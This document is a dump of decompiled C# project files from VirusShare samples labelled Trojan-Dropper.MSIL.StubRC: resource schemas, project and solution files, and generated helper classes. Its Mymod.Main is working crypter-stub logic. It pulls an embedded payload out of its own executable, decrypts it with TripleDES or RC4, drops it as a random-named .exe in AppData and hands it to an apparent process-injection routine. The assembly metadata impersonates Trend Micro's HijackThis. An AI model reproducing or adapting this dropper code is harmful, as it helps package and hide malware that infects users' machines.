: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>stub</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>crypter_stub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan-Dropper.MSIL.StubRC.acd-e92f8e7dcf39729147cb1dcec7e60fa9889f47e3913195ea2514507e75b493b9.csproj", "{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{7B008FBF-7514-40EB-B7B8-73BAF117B7E9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("© 2007 Trend Micro Inc")]
|
||||
[assembly: AssemblyDescription("Hijack This")]
|
||||
[assembly: AssemblyTitle("Hijack This")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("HijackThis")]
|
||||
[assembly: AssemblyCompany("Trend Micro Inc")]
|
||||
[assembly: AssemblyTrademark("Trend Micro 2007")]
|
||||
[assembly: NeutralResourcesLanguage("en-US")]
|
||||
[assembly: AssemblyFileVersion("2.00.00.2")]
|
||||
[assembly: Guid("f6ccd71f-6e6e-4047-8f16-321273aeaaea")]
|
||||
[assembly: AssemblyVersion("2.0.0.2")]
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MyApplication
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ConsoleApplicationBase
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public MyApplication()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MyComputer
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MyProject
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MySettings
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
public static MySettings Default => MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.MySettingsProperty
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Stub.My
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[StandardModule]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.My.Resources.Resources
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Stub.My.Resources
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Stub.My.Resources.Resources.resourceMan, (object) null))
|
||||
Stub.My.Resources.Resources.resourceMan = new ResourceManager("Stub.Resources", typeof (Stub.My.Resources.Resources).Assembly);
|
||||
return Stub.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Stub.My.Resources.Resources.resourceCulture;
|
||||
set => Stub.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Stub.Mymod
|
||||
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D998FF3F-31C1-474D-AB90-B3CFC9EC5BB6
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.MSIL.StubRC.afy-ee36551ac3637c0aa14dd39146a804c86161a4d4aba555b6ed5fad5d4acd5b21.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Stub
|
||||
{
|
||||
[StandardModule]
|
||||
internal sealed class Mymod
|
||||
{
|
||||
private static string res;
|
||||
private static string thepath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
|
||||
|
||||
public static int RandomNumber(int min, int max) => new Random().Next(min, max);
|
||||
|
||||
public static string RandomString(int size, bool lowerCase)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
Random random = new Random();
|
||||
int num1 = checked (size - 1);
|
||||
int num2 = 0;
|
||||
while (num2 <= num1)
|
||||
{
|
||||
char ch = Convert.ToChar(Convert.ToInt32(26.0 * random.NextDouble() + 65.0));
|
||||
stringBuilder.Append(ch);
|
||||
checked { ++num2; }
|
||||
}
|
||||
return lowerCase ? stringBuilder.ToString().ToLower() : stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static string GetRandom()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.Append(Mymod.RandomString(4, true));
|
||||
stringBuilder.Append(Mymod.RandomNumber(1000, 9999));
|
||||
stringBuilder.Append(Mymod.RandomString(2, false));
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
string Delimiter = "@fuck@";
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
Mymod.res = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref Mymod.res);
|
||||
FileSystem.FileClose(1);
|
||||
string[] strArray = Strings.Split(Mymod.res, Delimiter);
|
||||
string str1 = strArray[1];
|
||||
string str2 = Mymod.GetRandom().ToString() + ".exe";
|
||||
string str3 = strArray[2];
|
||||
string Left = strArray[3];
|
||||
if (Operators.CompareString(strArray[4], "true", false) == 0)
|
||||
ant.mofo();
|
||||
if (Operators.CompareString(Left, "tripleDES", false) == 0)
|
||||
{
|
||||
FileSystem.FileOpen(1, Mymod.thepath + str2, OpenMode.Binary);
|
||||
FileSystem.FilePut(1, _3des.a(str1, str3, true), -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
}
|
||||
else if (Operators.CompareString(Left, "rc4", false) == 0)
|
||||
{
|
||||
FileSystem.FileOpen(1, Mymod.thepath + str2, OpenMode.Binary);
|
||||
FileSystem.FilePut(1, _4cr.enc(str1, str3), -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
}
|
||||
FileStream fileStream = new FileInfo(Mymod.thepath + str2).OpenRead();
|
||||
long length = fileStream.Length;
|
||||
if (length > 0L)
|
||||
{
|
||||
byte[] numArray = new byte[checked ((int) (length - 1L) + 1)];
|
||||
fileStream.Read(numArray, 0, checked ((int) length));
|
||||
rp.MakeIt(numArray, Process.GetCurrentProcess().MainModule.FileName);
|
||||
fileStream.Close();
|
||||
}
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
